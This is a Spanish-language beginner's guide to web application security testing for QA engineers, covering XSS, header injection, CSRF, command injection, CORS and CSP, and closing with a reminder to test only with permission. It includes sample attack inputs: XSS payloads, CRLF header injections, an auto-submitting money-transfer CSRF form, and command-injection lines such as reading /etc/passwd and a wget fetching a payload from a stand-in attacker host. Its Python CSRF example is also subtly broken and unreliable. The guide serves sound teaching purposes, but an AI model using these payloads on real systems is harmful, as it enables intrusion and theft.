Este artículo explora vulnerabilidades fundamentales y técnicas de prueba, brindando información práctica para mejorar sus habilidades de pentesting de aplicaciones web. El artículo combina una serie de publicaciones mías dedicadas a ingenieros y analistas de control de calidad y proporciona una exploración práctica de las vulnerabilidades fundamentales de la ciberseguridad. El propósito es capacitar a los ingenieros, probadores y analistas de control de calidad con conocimientos que cierren la brecha entre el control de calidad del software y la ciberseguridad , fomentando un enfoque unificado para garantizar la integridad y seguridad de las aplicaciones web.
Esta no es una guía definitiva, pero me gustaría compartir mi experiencia como ingeniero de control de calidad interesado en el campo de la ciberseguridad; Será información bastante superficial con algunos enlaces útiles si estás interesado en aprender algunos aspectos más profundamente.
Una de las vulnerabilidades críticas y más comunes es XSS: https://owasp.org/www-community/attacks/xss/
Compartiré un enfoque simple y consejos sobre cómo probar XSS sin tener un amplio conocimiento en el campo y tecnologías de desarrollo frontend.
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))
Envíe la entrada y vea si el script se ejecuta.
Si es así, entonces la aplicación es vulnerable a ataques XSS.
Si el script no se ejecuta, intente modificar la entrada agregando otras etiquetas HTML, como <img> o <iframe>, y vea si se reflejan en la página, por ejemplo (este ejemplo casi siempre funciona para mí)
<b>t</b>#`"/*—est
Puede agregar una secuencia de comandos para consultar los parámetros de la URL de su aplicación web o un nombre de usuario, nombres de archivos cargados ( https://github.com/cure53/H5SC ) o cualquier texto que se mostrará en la página de la aplicación y que pueda cambiar. .
Tenga en cuenta las validaciones frontales de las entradas. Intente siempre enviar el valor mediante una solicitud directa (usando Postman, Burp o cualquier herramienta similar).
Utilice fuzzing y una lista de cargas útiles: automatice este enfoque cuando sea posible o utilice herramientas especiales para ello.
Hablando de herramientas, hay muchas para descubrir XSS, probar diferentes, comparar resultados varias veces con diferentes aplicaciones y elegir la que más te guste: https://linuxhint.com/free_xss_tools/ (yo he usado muchas OWASP ZAP y BurpSuite).
Personalmente, me gusta usar cargas útiles e información de aquí: https://github.com/s0md3v/AwesomeXSS , un recurso muy útil, en mi opinión.
Para obtener más detalles sobre XSS y cargas útiles, puede encontrar los siguientes recursos:
Esta vulnerabilidad ocurre cuando un atacante puede inyectar código malicioso en el encabezado de un sitio web, lo que le permite ejecutar acciones no autorizadas o acceder a información confidencial.
Para probar las inyecciones de Header, puede seguir algunos pasos:
(%0d%0a OR \r\n)
Por ejemplo, la siguiente carga útil podría usarse para inyectar un encabezado Set-Cookie:
User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked
Otro ejemplo es la inyección del encabezado del Host, donde un atacante puede manipular el encabezado del Host para acceder a otro sitio web o subdominio en el mismo servidor. Por ejemplo:
Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com
Para obtener más información sobre las inyecciones de encabezado, puede consultar los siguientes recursos:
CSRF ocurre cuando un sitio web malicioso engaña a un usuario para que actúe en un sitio web diferente al que el usuario ha iniciado sesión actualmente. Este tipo de ataque puede dar lugar a que se realicen acciones no autorizadas (cualquier solicitud POST) en nombre del usuario.
Para probar las vulnerabilidades CSRF, en pocas palabras, puede hacer lo siguiente:
<html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>
Para evitar ataques CSRF, utilice tokens anti-CSRF o cookies del mismo sitio para validar el origen de la solicitud. Estos tokens son valores únicos que genera el servidor y se incluyen en el formulario o en los parámetros de URL. Cuando se envía el formulario, el servidor verifica si el token coincide con el valor esperado y rechaza la solicitud si no coinciden. Aquí hay un ejemplo en Python:
import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response
Recursos útiles:
Las vulnerabilidades de RCE y de inyección de comandos ocurren cuando los atacantes pueden ejecutar código arbitrario o comandos del sistema operativo en un sistema de destino. Este tipo de ataques pueden provocar el compromiso total del sistema y el acceso no autorizado a datos confidenciales.
Para probar las vulnerabilidades de RCE y de inyección de comandos, en pocas palabras, puede hacer lo siguiente:
; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3
No todas las cargas útiles generarán algún resultado visible. En tales casos, es posible que deba utilizar otros métodos, como monitorear el tráfico de la red o revisar los archivos de registro.
Para evitar ataques RCE y de inyección de comandos, se deben validar las entradas del usuario y se deben eliminar o desinfectar los caracteres o comandos maliciosos.
Aquí hay algunos recursos útiles para seguir aprendiendo:
Este tipo de ataque ocurre cuando manipula los parámetros enviados desde el lado del cliente al lado del servidor, lo que lleva, por ejemplo, a un acceso no autorizado o una escalada de privilegios.
Para probar este tipo de vulnerabilidad, puede hacer lo siguiente:
Para evitar ataques de manipulación de parámetros web, la validación y desinfección de las entradas son cruciales. Asegúrese de que todos los datos de entrada estén validados en el lado del servidor y que la aplicación rechace cualquier entrada maliciosa. Yo diría que este tipo de vulnerabilidades son las mejores para ser identificadas por un equipo de control de calidad porque los controles de calidad conocen la aplicación/producto y su lógica y parámetros mejor que los ingenieros de seguridad de la información que normalmente no participan en el proceso de desarrollo.
A continuación se incluyen algunos recursos adicionales que le ayudarán a obtener más información sobre la manipulación de parámetros web:
Este es un mecanismo de seguridad que impide que las páginas web realicen solicitudes a un dominio diferente al que sirvió a la página web.
Puedes probar haciendo lo siguiente:
fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })
access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Siga estos sencillos pasos:
Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With
Respuesta:
HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With
Para obtener más información sobre CORS, aquí hay algunos recursos útiles:
CSP es un mecanismo que ayuda a prevenir ataques XSS al permitir especificar qué fuentes de contenido pueden cargarse en las páginas web. Sin un encabezado CSP configurado, es posible inyectar scripts maliciosos en la página y robar datos confidenciales del usuario o realizar otras acciones.
Puede hacer lo siguiente para verificar el encabezado CSP:
document.cookie=TESTCOOKIE=XSS;
Intente inyectar un script en la página y vea si se ejecuta. Por ejemplo, inserte el siguiente código en la consola del navegador:
var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);
Busque el encabezado Content-Security-Policy en los encabezados de respuesta. Si falta este encabezado, significa que la página web no tiene ningún encabezado CSP establecido.
El encabezado CSP es algo importante en la seguridad de las aplicaciones web.
Para más información sobre CSP:
La relación simbiótica entre la ciberseguridad y el control de calidad del software es importante en términos de seguridad de las aplicaciones de software. Mediante la integración de metodologías de modelado de amenazas y técnicas automatizadas de pruebas fuzz, los ingenieros de control de calidad contribuyen significativamente a la detección temprana y la mitigación de vulnerabilidades de seguridad. La colaboración entre los equipos de ciberseguridad y control de calidad forma una parte integral de un enfoque unificado para el desarrollo de software, y el papel del control de calidad se extiende más allá de las pruebas funcionales y de usabilidad para abarcar la identificación y rectificación proactiva de posibles fallas de seguridad. Es importante reconocer el control de calidad como un activo estratégico en los esfuerzos de ciberseguridad, ya que no solo mejora la protección de datos sino que también salvaguarda la reputación de una empresa, la confianza de los clientes y la estabilidad financiera general. Las habilidades técnicas de los profesionales de control de calidad, junto con sus rigurosas prácticas de prueba, establecen una defensa sólida contra las amenazas cibernéticas.
Realice siempre pruebas de penetración con permiso explícito y dentro de un entorno controlado. Este enfoque ético garantiza que las evaluaciones de seguridad se alineen con protocolos de prueba responsables, evitando compromisos involuntarios de los sistemas y manteniendo la integridad tanto del proceso de prueba como de la estrategia general de ciberseguridad.
Este artículo comparte consejos prácticos para que los ingenieros de control de calidad mejoren las pruebas de seguridad de las aplicaciones web, conecten el control de calidad del software y la ciberseguridad. Es una guía para principiantes con información y enlaces útiles para aquellos que buscan aprender más.
También publicado aquí .